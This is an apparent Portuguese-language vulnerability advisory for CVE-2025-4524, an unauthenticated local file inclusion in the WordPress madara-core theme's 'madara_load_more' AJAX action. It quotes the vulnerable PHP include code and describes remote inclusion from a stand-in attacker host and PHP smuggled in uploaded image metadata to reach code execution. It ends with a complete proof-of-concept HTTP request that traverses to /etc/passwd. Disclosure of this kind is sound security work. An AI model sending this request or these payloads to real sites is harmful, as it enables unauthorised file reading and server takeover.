
CVE-2025-4524 - LFI não autenticado no tema madara-core do Wordpress
Uma vulnerabilidade está na ação madara_load_more do madara, onde um parâmetro template contém dados arbitrários do usuário e é passado para a função include do PHP.
Uma vulnerabilidade está na ação madara_load_more do madara, onde um parâmetro template contém dados arbitrários do usuário e é passado para a função include do PHP.
O código vulnerável é o seguinte:
add_action( 'wp_ajax_madara_load_more', array( $this, 'ajax_load_next_page' ) );
add_action( 'wp_ajax_nopriv_madara_load_more', array( $this, 'ajax_load_next_page' ) );
...
function ajax_load_next_page() {
...
if ( $query->have_posts() ) {
while ( $query->have_posts() ) {
$query->the_post();
$madara_loop_index ++;
set_query_var( 'madara_loop_index', $madara_loop_index );
if ( $madara_loop_index < $posts_per_page + 1 ) {
if ( ( strpos( $template, 'plugins' ) !== false ) ) {
include( $template ); // we are in wp-content\themes\madara\app\{plugins} VULN
} else {
//$post_format = get_post_format() ? get_post_format : '';
get_template_part( $template, get_post_format() );
}
}
}
if ( $query->post_count <= $posts_per_page ) {
// there are no more posts
// print a flag to detect
echo '<div class="invi no-posts"><!-- --></div>';
}
} else {
// no posts found
}
/* Restore original Post Data */
wp_reset_postdata();
die( '' );
}
Em cada consulta bem-sucedida de madara_load_more, o template passado por template será renderizado com o resultado. Se a string plugins for encontrada no parâmetro template, a entrada é passada diretamente para include, enquanto se não estiver presente, o WordPress encontrará o template.
Podemos usar isso para consultar arquivos arbitrários, seja com https://evilsite.com/plugins/evil.php se allow_url_include estiver ativado, ou através de um path traversal. Como o diretório atual ao realizar essas ações é wp-content/themes/madara/app/, e existe um diretório plugins, podemos incluir algo como plugins/../../../../../wp-content/uploads/evil.png.
Isso pode ser explorado dependendo de allow_url_include.
Se estiver ativado, um ator malicioso pode configurar um servidor HTTP que responda com um script PHP malicioso ao receber uma requisição com a string plugins.
Se estiver desativado, um ator malicioso pode fazer upload de um arquivo contendo uma string PHP (metadados EXIF de imagem, dados de pixel de imagem, etc.) através de outros meios na instância do WordPress e incluir o arquivo. Dessa forma, os dados da imagem não serão interpretados como PHP e apenas o PHP entre as tags será.
Isso pode levar a RCE ou LFI.

POST /wp-admin/admin-ajax.php HTTP/2
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 490
action=madara_load_more&page=1&template=plugins/../../../../../../../etc/passwd&vars%5Borderby%5D=meta_value_num&vars%5Bpaged%5D=1&vars%5Btimerange%5D=&vars%5Bposts_per_page%5D=16&vars%5Btax_query%5D%5Brelation%5D=OR&vars%5Bmeta_query%5D%5B0%5D%5Brelation%5D=AND&vars%5Bmeta_query%5D%5Brelation%5D=AND&vars%5Bpost_type%5D=wp-manga&vars%5Bpost_status%5D=publish&vars%5Bmeta_key%5D=_latest_update&vars%5Border%5D=desc&vars%5Bsidebar%5D=right&vars%5Bmanga_archives_item_layout%5D=big_thumbnail